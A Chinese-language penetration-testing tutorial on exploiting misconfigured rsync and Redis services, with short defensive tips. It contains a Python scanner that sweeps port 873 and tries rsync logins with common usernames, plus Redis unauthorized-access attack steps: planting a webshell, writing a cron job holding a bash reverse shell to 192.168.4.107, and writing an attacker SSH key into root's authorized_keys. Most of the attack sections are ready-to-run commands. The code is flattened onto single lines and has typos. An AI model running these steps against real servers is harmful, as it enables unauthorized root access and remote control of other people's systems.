文章目录
一、Rsync配置不当
Rsync(remote synchronize)是一款实现远程同步功能的软件。它在同步文件时可以保持原来文件的权限,时间,软硬链接等附加信息。rsync默认同步是不加密,可使用ssh隧道方式进行加密同步。端口默认873,和其他软件搭配使用 rsync + crontab
rsync + sersync
使用ssh隧道方式进行加密方式同步
rsync -avzP -e "ssh -p 22" /tmp/ test@ip:/web
错误的配置
- 使用root用户权限运行
- 没开启只读模式
- 没有配置访问权限设置,用户可以进行未授权访问
我是如何沦陷ChinaZ下载站服务器的
http://www.anquan.us/static/bugs/wooyun-2013-026232.html
漏洞扫描与发现
nmap -n --open -p 873 X.X.X.X/24
Python编写批量扫描
import os import datetime import threading from socket import *
def save_file(result): create_file_name = datetime.datetime.now().strftime('%Y-%m-%d') new_file = '{}_open.txt'.format(create_file_name) with open(new_file,'a+') as fd: fd.writelines(result + '\n') def socket_request(tarip,tarport): try: timeout = 2 setdefaulttimeout(timeout) s = socket(AF_INET,SOCK_STREAM) address = (str(tarip),int(tarport)) s.connect(address) s.close() info = '{}:{} Open'.format(tarip,tarport) print('\033[6;30;42m' + info + '\033[0m') save_file(tarip) yield info except: print('\033[0;31m' + '{}:{} {}'.format(tarip,tarport,'Close') + '\033[0m') def port_open_scan(): with open('ip.txt','r') as read_ip: tarport = 873 for ip in read_ip: target_ip = ip.strip() for x in socket_request(target_ip,tarport): pass def rsync_pass_check(ip): ip = ip.strip() command = "rsync " + ip +"::" print("Checking {}".format(ip)) dirlist = [] for line in os.popen(command): x = line.find("\t") y = line[0:x] dirlist.append(y) for dir in dirlist: userlist = ["www","root","test"] for user in userlist: crack_command = "rsync " + user + "@" + ip + "::" + dir + "--password-file=pass.txt" try: output = os.system(crack_command) if os.popen(crack_command).read(): res_str = "[+] Vul Found: " + crack_command with open("Vuln_IP.txt","a+") as f: f.write(res_str+"\n") else: pass except Exception as e: print(e) def main(): port_open_scan() open_port = '{}_open.txt'.format(datetime.datetime.now().strftime('%Y-%m-%d'))
with open(open_port,'r') as f: iplist = f.readlines() for ip in iplist: rsync_pass_check(ip)
if name == 'main': t = threading.Thread(target=main) t.start()
防护
- 限定访问的IP
- 不允许匿名访问
- 防止弱口令
- 禁用root权限
二、Redis配置不当
Redis是一个开源、支持网络、基于内存、键值对存储数据库,使用ANSI C编写。
自从Redis未授权(未设置用户名和密码)问题获取Linux系统root权限的攻击方法的披露后,由于其易用性,利用该问题入侵Linux服务进行挖矿。
凤凰网某站点redis未授权访问导致Getshell
http://www.anquan.us/static/bugs/wooyun-2015-0161323.html
三、利用未授权访问获取Shell
默认安装redis 由于没有设置用户名和密码是可以直接登录redis
wget https://codeload.github.com/antirez/redis/tar.gz/2.8.21 make make install
cp -p redis.conf /etc/ redis-server /etc/redis.conf
有三种攻击方式
获取WebShell
这种方式前提是要知道网站的目录路径config set dir /var/www/html/ #指定一句话木马文件存放地址
config set dbfilebame shell.php #指定一句话木马文件名字
set x "" #写入一句话木马
save #保存
写入crontab任务
set x "\n* * * * * bash -i >& /dev/tcp/192.168.4.107/6666 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root Save
攻击方再使用nc来监听端口
nc –lvnp 6666
写入ssh公钥
ssh-keygen -t rsa (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt cat foo.txt | redis-cli -h 192.168.4.1 -x set crack config set dir /root/.ssh/ config get dir config set dbfilename "authorized_keys" Save
ssh -i id_rsa root@192.168.4.1
Python爆破redis弱口令
防护
- 设置密码
- 不要把redis暴露在公网
- 使用普通用户权限来启动redis
- 对.ssh降权(chmod 400)和锁定(chattar +i)